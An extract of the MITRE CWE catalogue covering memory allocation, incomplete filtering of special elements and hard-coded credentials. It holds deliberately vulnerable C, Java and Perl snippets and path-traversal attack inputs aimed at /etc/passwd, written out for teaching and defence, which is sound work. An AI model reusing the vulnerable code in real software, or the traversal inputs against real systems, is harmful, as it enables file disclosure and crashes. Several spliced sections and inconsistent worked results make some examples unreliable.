| Confidentiality | Read Memory <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i> | |
| Integrity Availability | Modify Memory DoS: Crash, Exit, or Restart <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |
| Integrity | Modify Memory Execute Unauthorized Code or Commands <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i> | |

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

CWE-789: Memory Allocation with Excessive Size Value

Weakness ID : 789

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|------|--|------|
| ChildOf | B | 1284 | Improper Validation of Specified Quantity in Input | 1915 |
| ChildOf | B | 770 | Allocation of Resources Without Limits or Throttling | 1463 |
| PeerOf | B | 1325 | Improperly Controlled Sequential Memory Allocation | 1987 |
| CanFollow | V | 129 | Improper Validation of Array Index | 317 |
| CanPrecede | B | 476 | NULL Pointer Dereference | 1039 |

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Language-Independent (Prevalence = Undetermined)

Alternate Terms

Stack Exhaustion : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Resource Consumption (Memory) <i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash</i> | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i> | |

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Example Language: C

(bad)

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Example Language: Java

(bad)

```
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

This code performs a stack allocation based on a length calculation.

Example Language: C

(bad)

```
int a = 5, b = 6;
size_t len = a - b;
char buf[len]; // Just blows up the stack
}
```

Since `a` and `b` are declared as signed ints, the "`a - b`" subtraction gives a negative result (-1). However, since `len` is declared to be unsigned, `len` is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer `buf[len]` declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

Example 4:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

Example Language: C

(bad)

```
int proc_msg(char *s, int msg_len)
{
    // Note space at the end of the string - assume all strings have preamble with space
    int pre_len = sizeof("preamble: ");
    char buf[pre_len - msg_len];
    ... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example 5:

The following code obtains an untrusted number that is used as an index into an array of messages.

Example Language: Perl

(bad)

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in `@messages` that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If `$num` is a large value such as 2147483648 ($1 << 31$), then the assignment to `$messages[$num]` would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example Language: C

(bad)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    char buf[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Example Language: C

(good)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    if (pre_len <= msg_len) { // Log error; return error_code; }
    char buf[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2010-3701 | program uses ::alloca() for encoding messages, but large messages trigger segfault https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3701 |

| MemberOf |  | 1179 | SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS) | 1178 | 2181 |
| MemberOf |  | 1308 | CISQ Quality Measures - Security | 1305 | 2201 |

Notes

Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

CWE-790: Improper Filtering of Special Elements

Weakness ID : 790

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |
| ParentOf |  | 791 | Incomplete Filtering of Special Elements | 1522 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl (bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: (attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: (result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: (result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-791: Incomplete Filtering of Special Elements

| | |
|---------------------------|---------------------------|
| Weakness ID : 791 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| ParentOf |  | 795 | Only Filtering Special Elements at a Specified Location | 1527 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 137 | Data Neutralization Issues | 2027 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples**Example 1:**

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Weakness ID : 792**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant

Description

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID : 793

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 792 | Incomplete Filtering of One or More Instances of Special Elements | 1523 |

| MemberOf |  | 1019 | Validate Inputs | 2149 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
```

```
my $filename = "/home/user/" . $Username;  
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: (attack)
../../etc/passwd

will have the first "../" stripped, resulting in:

Example Language: (result)
../etc/passwd

This value is then concatenated with the /home/user/ directory:

Example Language: (result)
/home/user/../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

| | |
|-----------------------|--------------------|
| Weakness ID : 794 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 792 | Incomplete Filtering of One or More Instances of Special Elements | 1523 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID : 795

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 791 | Incomplete Filtering of Special Elements | 1522 |
| ParentOf |  | 796 | Only Filtering Special Elements Relative to a Marker | 1529 |
| ParentOf |  | 797 | Only Filtering Special Elements at an Absolute Position | 1530 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 137 | Data Neutralization Issues | 2027 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language:

(attack)

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:**(result)*`/home/user/../../etc/passwd`

which causes the `/etc/passwd` file to be retrieved once the operating system has resolved the `../` sequences in the pathname. This leads to relative path traversal (CWE-22).

Example 2:

The following code takes untrusted input and uses a substring function to filter a 3-character `"../"` element located at the 0-index position of the input string. It then appends this result to the `/home/user/` directory and attempts to read the file in the final resulting path.

*Example Language: Perl**(bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of `"../"` between the 0 and 2 position, it only removes that specific `"../"` element. So an input value such as:

*Example Language:**(attack)*`../../etc/passwd`

will have the first `"../"` filtered, resulting in:

*Example Language:**(result)*`../etc/passwd`

This value is then concatenated with the `/home/user/` directory:

*Example Language:**(result)*`/home/user/../../etc/passwd`

which causes the `/etc/passwd` file to be retrieved once the operating system has resolved the `../` sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID : 796**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant

Description

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(attack)*

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-797: Only Filtering Special Elements at an Absolute Position

| | |
|------------------------------|---------------------------|
| Weakness ID : 797 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

1530

The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language:

(attack)

```
../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language:

(result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-798: Use of Hard-coded Credentials

Weakness ID : 798

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

Outbound: the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Confidentiality | Gain Privileges or Assume Identity | |
| Availability | Execute Unauthorized Code or Commands | |
| Access Control | Other | |
| Other | <i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</i> | |

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness = Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

